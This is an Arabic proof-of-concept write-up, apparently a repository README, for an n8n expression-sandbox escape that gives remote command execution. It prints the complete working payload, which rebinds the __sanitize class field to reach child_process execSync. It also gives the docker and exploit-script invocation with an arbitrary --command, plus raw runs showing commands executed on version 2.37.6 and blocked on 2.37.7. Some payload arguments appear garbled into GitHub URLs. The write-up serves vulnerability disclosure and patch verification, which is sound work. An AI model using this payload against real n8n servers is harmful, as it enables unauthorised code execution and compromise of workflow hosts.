
CVE-2026-86076 — هروب من صندوق رمل تعبيرات n8n عبر إعادة ربط حقل الفئة __sanitize (تنفيذ أوامر عن بُعد في الواجهة الخلفية). تم التحقق منه في v2.37.6 (uid=node) / v2.37.7.
تنفيذ شيفرة برمجية (تعديل سير عمل) موثّق في عملية خلفية n8n. يقوم مُصرِّف التعبيرات بحقن this.__sanitize(key) لكل وصول إلى عضو محسوب؛ حيث يُعيد حقل فئة يحمل الاسم الحرفي __sanitize ربط ذلك المُعقّم لبقية جسم الفئة، مما يسمح بمرور constructor والوصول إلى مُنشئ Function الحقيقي → process.mainModule.require('child_process').
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H< 1.123.76، >= 2.0.0 < 2.37.7، >= 2.38.0 < 2.38.2184584828610 ("chore: Bundle 2.x (backport to release-candidate/2.37.x)"، #37588)
→ packages/workflow/src/expression-sandboxing.ts (يرفض visitClassBody أسماء
الأعضاء المحجوزة) وpackages/@n8n/tournament/src/ExpressionBuilder.ts (أصبح ___n8n_data
الآن ارتباطًا معجميًا بدلاً من this).يقوم PrototypeSanitizer (خطاف بعد شجرة AST) بإعادة كتابة
[]['constr' + 'uctor'] → [][this.__sanitize('constr' + 'uctor')]
dataNode هو كائن بيانات التعبير. عندما لا يحتوي التعبير على دالة حرفية، فقد تم إخراج dataNode كـ this، وليس كـ ___n8n_data المعجمي:
// packages/@n8n/tournament/src/ExpressionBuilder.ts (2.37.6)
let dataNode = b.thisExpression();
if (hasFn) { dataNode = b.identifier(dataNodeName); ... }
داخل مُهيّئ حقل الفئة (class field initializer) يكون this هو النسخة (instance)، لذا فإن حقلًا باسم
__sanitize يستحوذ على استدعاء المُطهِّر (sanitizer). ويكفي بديل تمريري —
[].concat.bind([]) يُرجع ['constructor']، وobj[['constructor']] يُحوَّل إلى
المفتاح constructor:
(new (class {
__sanitize = [].concat.bind([]);
x = []['constr'+'uctor']['constr'+'uctor']('return process')()
['main'+'Module']['requ'+'ire'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27child_process%27)['exec'+'Sync'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27id%27).toString()
})).x
الكود المُصدَّر (تم التحقق منه داخل الحاوية باستخدام المترجم الحقيقي):
return (new (class { __sanitize = [].concat.bind([]); x = [][this.__sanitize("constr"+"uctor")][this.__sanitize("constr"+"uctor")](...
قبل التصحيح لم يكن هناك شيء يرفض عضوًا في الصنف يُدعى __sanitize
(كان RESERVED_VARIABLE_NAMES يُفحص فقط من أجل المعرّفات المرتبطة).
تحتاج الحمولة إلى محرك التعبيرات داخل العملية:
environment:
- N8N_EXPRESSION_ENGINE=legacy
مع محرك vm الافتراضي، لا يزال التعبير نفسه يهزم مُعقّم AST
([]['constr'+'uctor'] لم يعد محظورًا — تم التحقق)، لكن الكود يعمل داخل
عزل isolated-vm، الذي لا يحتوي على process.mainModule؛ لا تنفيذ لكود المضيف.
يرفض الإصدار 2.37.7 التعبير تحت كلا المحركين.
cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve86076 -f docker-compose.2376.yml up -d # n8nio/n8n:2.37.6 -> :20002
docker compose -p poc-n8n-cve86076-fix -f docker-compose.2377.yml up -d # n8nio/n8n:2.37.7 -> :20003
كلا الملفين يثبتان N8N_EXPRESSION_ENGINE=legacy، وSQLite، و./data-* المرتبط عبر bind-mount.
ينشئ PoC حساب المالك بنفسه (POST /rest/owner/setup + /rest/login).
python3 n8n_poc.py --url http://127.0.0.1:20002 \
--command 'id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076'
run_vulnerable_2.37.6.txt)[*] target : http://127.0.0.1:20002
[*] version : undisclosed
[*] auth : logged in as [email protected]
[*] payload : (new (class { __sanitize = [].concat.bind([]); x = []["constr"+"uctor"]["constr"+"uctor"]("return process")()["main"+"Module"]["requ"+"ire"](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%22child_process%22)["exec"+"Sync"]("id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076").toString() })).x
[*] workflow : fzbEEvoS4e1Y96wB
[*] execution: 11
[+] command output:
uid=1000(node) gid=1000(node) groups=1000(node)
-rw-r--r-- 1 node node 0 Oct 24 13:38 /tmp/PWNED_86076
=> PASS (CVE-2026-86076: command executed as the n8n process user)
exit=0
تأثير جانبي مقروء من الحاوية (side_effect_2.37.6.txt):
-rw-r--r-- 1 node node 0 Oct 24 13:38 /tmp/PWNED_86076
uid=1000(node) gid=1000(node) groups=1000(node)
run_patched_2.37.7.txt)[*] target : http://127.0.0.1:20003
[*] auth : logged in as [email protected]
[*] payload : (new (class { __sanitize = [].concat.bind([]); ...
[*] workflow : L4394ZmScoegIFnf
[*] execution: 4
[!] no code execution: Cannot use "__sanitize" due to security concerns
=> FAIL (CVE-2026-86076: expression blocked or produced no output)
exit=1
$ docker exec n8n-vuln-2377 ls -l /tmp/PWNED_86076
ls: /tmp/PWNED_86076: No such file or directory
يُعاد إخراج stdout الخاص بالأمر بواسطة execSync(...).toString() كقيمة عقدة Set
ويُقرأ مرة أخرى من GET /rest/executions/<id>?includeData=true (حمولة n8n "flatted"،
والتي تُفكَّك ترميزها في السكربت). كما تم التأكد من الأثر الجانبي على القرص (/tmp/PWNED_86076)
بشكل إضافي باستخدام docker exec.
| الملف | المحتوى |
|---|---|
n8n_poc.py | إثبات مفهوم يعتمد على المكتبة القياسية فقط (--url --email --password --command --cve --output) |
run_vulnerable_2.37.6.txt، run_patched_2.37.7.txt | عمليات التشغيل الخام |
evidence_vulnerable_2.37.6.json، evidence_patched_2.37.7.json | أدلة JSON |
side_effect_2.37.6.txt، side_effect_2.37.7.txt | فحص من جهة الحاوية |
docker_logs_2.37.6.txt، docker_logs_2.37.7.txt | سجلات الحاوية |